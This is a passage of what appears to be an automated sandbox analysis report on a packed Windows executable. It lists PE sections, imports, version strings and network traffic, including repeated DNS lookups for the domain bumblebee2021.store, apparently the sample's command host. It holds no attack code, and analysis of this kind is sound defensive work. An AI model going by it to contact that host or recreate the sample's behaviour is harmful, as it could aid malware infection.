                                      IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x5ae800x40.new
                                      IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                      IMAGE_DIRECTORY_ENTRY_IAT0x590000x194.new
                                      IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                      IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                      IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                      Sections

                                      NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                      .text0x10000x38f4a0x39000False0.817417077851data7.72713604414IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                                      .data0x3a0000x1d57c0x4c00False0.0931846217105data1.06359330765IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
                                      .tls0x580000x90x200False0.02734375data0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
                                      .new0x590000x2cba0x2e00False0.380180027174data5.50122652142IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                      .rsrc0x5c0000x1a4b0x1c00False0.651227678571data5.86992914626IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                      .reloc0x5e0000x11ee0x1200False0.718315972222data6.11975303823IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                      Resources

                                      NameRVASizeTypeLanguageCountry
                                      RT_ICON0x5c1780x10a8dataEnglishUnited States
                                      RT_STRING0x5d2200x44cdataUzbekCyrillic
                                      RT_GROUP_ICON0x5d66c0x14dataEnglishUnited States
                                      RT_VERSION0x5d6800x1b8COM executable for DOS
                                      RT_MANIFEST0x5d8380x213XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

                                      Imports

                                      DLLImport
                                      KERNEL32.dllFreeLibrary, SystemTimeToTzSpecificLocalTime, GetConsoleAliasA, GetModuleHandleExW, GetTickCount, SetFileTime, TerminateThread, GetLocaleInfoW, SetSystemTimeAdjustment, GetFileAttributesA, SetTimeZoneInformation, GetAtomNameW, ReadFile, lstrcatA, RaiseException, FindResourceW, SetLastError, GetProcAddress, OpenWaitableTimerA, LocalAlloc, SetConsoleOutputCP, GlobalFindAtomW, SetConsoleCursorInfo, GetModuleHandleA, LoadLibraryExA, FindAtomW, FileTimeToLocalFileTime, GetCurrentProcessId, CompareStringW, CompareStringA, LCMapStringA, MapViewOfFile, GetModuleHandleW, Sleep, ExitProcess, GetStartupInfoW, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, HeapAlloc, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, GetCurrentThreadId, GetLastError, InterlockedDecrement, GetCurrentThread, WriteFile, GetStdHandle, GetModuleFileNameA, DeleteCriticalSection, LeaveCriticalSection, FatalAppExitA, EnterCriticalSection, SetConsoleCtrlHandler, InterlockedExchange, LoadLibraryA, InitializeCriticalSectionAndSpinCount, GetModuleFileNameW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, SetHandleCount, GetFileType, GetStartupInfoA, HeapCreate, HeapDestroy, VirtualFree, HeapFree, QueryPerformanceCounter, GetSystemTimeAsFileTime, VirtualAlloc, HeapReAlloc, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, HeapSize, RtlUnwind, GetLocaleInfoA, WideCharToMultiByte, MultiByteToWideChar, LCMapStringW, GetStringTypeA, GetStringTypeW, GetTimeFormatA, GetDateFormatA, GetUserDefaultLCID, EnumSystemLocalesA, IsValidLocale, GetTimeZoneInformation, SetEnvironmentVariableA
                                      USER32.dllGetDesktopWindow
                                      ADVAPI32.dllRegCreateKeyW

                                      Version Infos

                                      DescriptionData
                                      LegalCopyrightWsekde
                                      InternalNamesgalimatimot
                                      FileVersion7.0.2.54
                                      ProductVersion7.0.21.21
                                      Translations0x0138 0x23db

                                      Possible Origin

                                      Language of compilation systemCountry where language is spokenMap
                                      EnglishUnited States
                                      UzbekCyrillic

                                      Network Behavior

                                      Network Port Distribution

                                      UDP Packets

                                      TimestampSource PortDest PortSource IPDest IP
                                      Apr 29, 2021 09:36:15.601258993 CEST6180553192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:15.623291016 CEST5479553192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:15.663424969 CEST53618058.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:15.672071934 CEST53547958.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:16.711689949 CEST4955753192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:16.761795044 CEST53495578.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:17.898091078 CEST6173353192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:17.949779987 CEST53617338.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:18.219690084 CEST6544753192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:18.286431074 CEST53654478.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:19.195116997 CEST5244153192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:19.259819031 CEST53524418.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:20.520008087 CEST6217653192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:20.571738958 CEST53621768.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:21.707788944 CEST5959653192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:21.756819010 CEST53595968.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:23.275639057 CEST6529653192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:23.327249050 CEST53652968.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:25.139672041 CEST6318353192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:25.188421011 CEST53631838.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:33.088907003 CEST6015153192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:33.137464046 CEST53601518.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:40.628509998 CEST5696953192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:40.696099997 CEST53569698.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:41.919467926 CEST5516153192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:41.977837086 CEST53551618.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:42.996382952 CEST5475753192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:43.056457043 CEST53547578.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:43.901494026 CEST4999253192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:43.960371971 CEST53499928.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:44.072454929 CEST6007553192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:44.137850046 CEST53600758.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:45.152812958 CEST5501653192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:45.218120098 CEST53550168.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:46.231065989 CEST6434553192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:46.282701015 CEST53643458.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:47.291459084 CEST5712853192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:47.353504896 CEST53571288.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:48.371990919 CEST5479153192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:48.429337025 CEST53547918.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:49.450680017 CEST5046353192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:49.511034966 CEST53504638.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:50.423269987 CEST5039453192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:50.472033024 CEST53503948.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:50.528054953 CEST5853053192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:50.577120066 CEST53585308.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:51.105251074 CEST5381353192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:51.153918028 CEST53538138.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:51.591278076 CEST6373253192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:51.648607969 CEST53637328.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:52.669107914 CEST5734453192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:52.728991032 CEST53573448.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:53.748435974 CEST5445053192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:53.808140039 CEST53544508.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:54.823678017 CEST5926153192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:54.883788109 CEST53592618.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:55.950654984 CEST5715153192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:56.008039951 CEST53571518.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:57.031265020 CEST5941353192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:57.079885960 CEST53594138.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:58.091598034 CEST6051653192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:58.142530918 CEST53605168.8.8.8192.168.2.5
                                      Apr 29, 2021 09:36:59.155226946 CEST5164953192.168.2.58.8.8.8
                                      Apr 29, 2021 09:36:59.203886032 CEST53516498.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:00.216177940 CEST6508653192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:00.281080008 CEST53650868.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:01.298650980 CEST5643253192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:01.347467899 CEST53564328.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:02.373189926 CEST5292953192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:02.425292969 CEST53529298.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:03.453123093 CEST6431753192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:03.514009953 CEST53643178.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:04.198031902 CEST6100453192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:04.257018089 CEST53610048.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:04.526851892 CEST5689553192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:04.577481985 CEST53568958.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:05.589729071 CEST6237253192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:05.638453007 CEST53623728.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:06.655792952 CEST6151553192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:06.704515934 CEST53615158.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:07.718151093 CEST5667553192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:07.766802073 CEST53566758.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:08.792973995 CEST5717253192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:08.841676950 CEST53571728.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:09.858259916 CEST5526753192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:09.920234919 CEST53552678.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:10.839021921 CEST5096953192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:10.901300907 CEST53509698.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:10.972268105 CEST6436253192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:11.034277916 CEST53643628.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:12.060050964 CEST5476653192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:12.117002010 CEST53547668.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:13.156163931 CEST6144653192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:13.205365896 CEST53614468.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:14.218056917 CEST5751553192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:14.266755104 CEST53575158.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:15.281007051 CEST5819953192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:15.329826117 CEST53581998.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:16.343281984 CEST6522153192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:16.400477886 CEST53652218.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:16.907025099 CEST6157353192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:16.975141048 CEST53615738.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:17.421150923 CEST5656253192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:17.473615885 CEST53565628.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:18.503036022 CEST5359153192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:18.551865101 CEST53535918.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:19.576890945 CEST5968853192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:19.637216091 CEST53596888.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:20.653213024 CEST5603253192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:20.716054916 CEST53560328.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:21.734050989 CEST6115053192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:21.787277937 CEST53611508.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:22.811992884 CEST6345853192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:22.860687971 CEST53634588.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:23.872435093 CEST5042253192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:23.935782909 CEST53504228.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:24.950942993 CEST5324753192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:24.999854088 CEST53532478.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:26.283773899 CEST5854453192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:26.335926056 CEST53585448.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:27.367322922 CEST5381453192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:27.416110992 CEST53538148.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:29.264879942 CEST5130553192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:29.313549042 CEST53513058.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:29.508533955 CEST5367053192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:29.557468891 CEST53536708.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:30.328706026 CEST5516053192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:30.377540112 CEST53551608.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:31.388675928 CEST6141453192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:31.437453032 CEST53614148.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:32.370733023 CEST6384753192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:32.429219007 CEST53638478.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:32.454027891 CEST6152353192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:32.502860069 CEST53615238.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:33.533271074 CEST5055153192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:33.595529079 CEST53505518.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:34.609956980 CEST6284753192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:34.671885967 CEST53628478.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:35.701538086 CEST5771253192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:35.750441074 CEST53577128.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:36.765933990 CEST6106453192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:36.814707041 CEST53610648.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:37.829710960 CEST6189153192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:37.889035940 CEST53618918.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:38.909440041 CEST6158553192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:38.958317995 CEST53615858.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:39.968091965 CEST6516353192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:40.019736052 CEST53651638.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:41.077944994 CEST5896953192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:41.126734018 CEST53589698.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:42.141897917 CEST5397753192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:42.190783978 CEST53539778.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:43.204859972 CEST5714753192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:43.262434959 CEST53571478.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:44.287538052 CEST5238153192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:44.336582899 CEST53523818.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:45.359333992 CEST4923153192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:45.410193920 CEST53492318.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:46.429312944 CEST5321753192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:46.480979919 CEST53532178.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:47.500066996 CEST5255453192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:47.548886061 CEST53525548.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:48.570590019 CEST4960353192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:48.638433933 CEST53496038.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:49.666399956 CEST6447653192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:49.715212107 CEST53644768.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:50.737039089 CEST4997553192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:50.785711050 CEST53499758.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:51.799034119 CEST5770153192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:51.850562096 CEST53577018.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:52.884354115 CEST6033453192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:52.933252096 CEST53603348.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:53.955312014 CEST6495853192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:54.006902933 CEST53649588.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:55.034225941 CEST5850453192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:55.083106995 CEST53585048.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:56.171680927 CEST6497153192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:56.220948935 CEST53649718.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:57.234450102 CEST5804153192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:57.283407927 CEST53580418.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:58.300098896 CEST5776453192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:58.362298965 CEST53577648.8.8.8192.168.2.5
                                      Apr 29, 2021 09:37:59.382193089 CEST5797353192.168.2.58.8.8.8
                                      Apr 29, 2021 09:37:59.431893110 CEST53579738.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:00.453543901 CEST6328653192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:00.502186060 CEST53632868.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:01.523121119 CEST5258953192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:01.583367109 CEST53525898.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:02.601742983 CEST5487553192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:02.653369904 CEST53548758.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:03.679702044 CEST4986253192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:03.731318951 CEST53498628.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:04.751127958 CEST5011953192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:04.813162088 CEST53501198.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:05.145750999 CEST6015953192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:05.194540024 CEST53601598.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:05.830193043 CEST4946453192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:05.881654024 CEST53494648.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:06.894558907 CEST6465053192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:06.958498955 CEST53646508.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:07.131725073 CEST5263353192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:07.194919109 CEST53526338.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:07.971875906 CEST5612453192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:08.023605108 CEST53561248.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:09.054613113 CEST5555253192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:09.106296062 CEST53555528.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:10.143424034 CEST6081353192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:10.195126057 CEST53608138.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:11.246550083 CEST5093053192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:11.295403957 CEST53509308.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:12.314327955 CEST5158253192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:12.363383055 CEST53515828.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:13.382867098 CEST5683153192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:13.434422970 CEST53568318.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:14.465912104 CEST5698153192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:14.517735004 CEST53569818.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:15.535269976 CEST6359953192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:15.584081888 CEST53635998.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:16.597927094 CEST6100953192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:16.655867100 CEST53610098.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:17.746831894 CEST5767653192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:17.798640966 CEST53576768.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:19.348176003 CEST5068753192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:19.399764061 CEST53506878.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:20.427498102 CEST5324653192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:20.476300955 CEST53532468.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:21.488270044 CEST6024253192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:21.537230015 CEST53602428.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:22.556349993 CEST4967453192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:22.605225086 CEST53496748.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:23.634371042 CEST5081153192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:23.683135033 CEST53508118.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:24.706573009 CEST6433153192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:24.755409956 CEST53643318.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:25.802284002 CEST5678953192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:25.851155996 CEST53567898.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:26.880825996 CEST6368053192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:26.932420015 CEST53636808.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:27.936113119 CEST5970653192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:27.993590117 CEST53597068.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:28.999044895 CEST5502953192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:29.050687075 CEST53550298.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:30.064757109 CEST5198653192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:30.116643906 CEST53519868.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:31.123653889 CEST6491353192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:31.173271894 CEST53649138.8.8.8192.168.2.5
                                      Apr 29, 2021 09:38:32.186258078 CEST5843853192.168.2.58.8.8.8
                                      Apr 29, 2021 09:38:32.237885952 CEST53584388.8.8.8192.168.2.5

                                      DNS Queries

                                      TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                      Apr 29, 2021 09:36:40.628509998 CEST192.168.2.58.8.8.80x54d6Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:41.919467926 CEST192.168.2.58.8.8.80x4cb1Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:42.996382952 CEST192.168.2.58.8.8.80x11d4Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:44.072454929 CEST192.168.2.58.8.8.80x9131Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:45.152812958 CEST192.168.2.58.8.8.80x5e12Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:46.231065989 CEST192.168.2.58.8.8.80xbda7Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:47.291459084 CEST192.168.2.58.8.8.80x10d1Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:48.371990919 CEST192.168.2.58.8.8.80xa2d4Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:49.450680017 CEST192.168.2.58.8.8.80xd9d3Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:50.528054953 CEST192.168.2.58.8.8.80x3516Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:51.591278076 CEST192.168.2.58.8.8.80xa387Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:52.669107914 CEST192.168.2.58.8.8.80x866bStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:53.748435974 CEST192.168.2.58.8.8.80xf68Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:54.823678017 CEST192.168.2.58.8.8.80x5129Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:55.950654984 CEST192.168.2.58.8.8.80x8c46Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:57.031265020 CEST192.168.2.58.8.8.80x3847Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:58.091598034 CEST192.168.2.58.8.8.80x8499Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:36:59.155226946 CEST192.168.2.58.8.8.80x9088Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:00.216177940 CEST192.168.2.58.8.8.80xdbd7Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:01.298650980 CEST192.168.2.58.8.8.80x6cc3Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:02.373189926 CEST192.168.2.58.8.8.80xd576Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:03.453123093 CEST192.168.2.58.8.8.80x52d2Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:04.526851892 CEST192.168.2.58.8.8.80xf27aStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:05.589729071 CEST192.168.2.58.8.8.80x1d75Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:06.655792952 CEST192.168.2.58.8.8.80x1613Standard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:07.718151093 CEST192.168.2.58.8.8.80x4cbdStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
                                      Apr 29, 2021 09:37:08.792973995 CEST192.168.2.58.8.8.80x8eefStandard query (0)bumblebee2021.storeA (IP address)IN (0x0001)
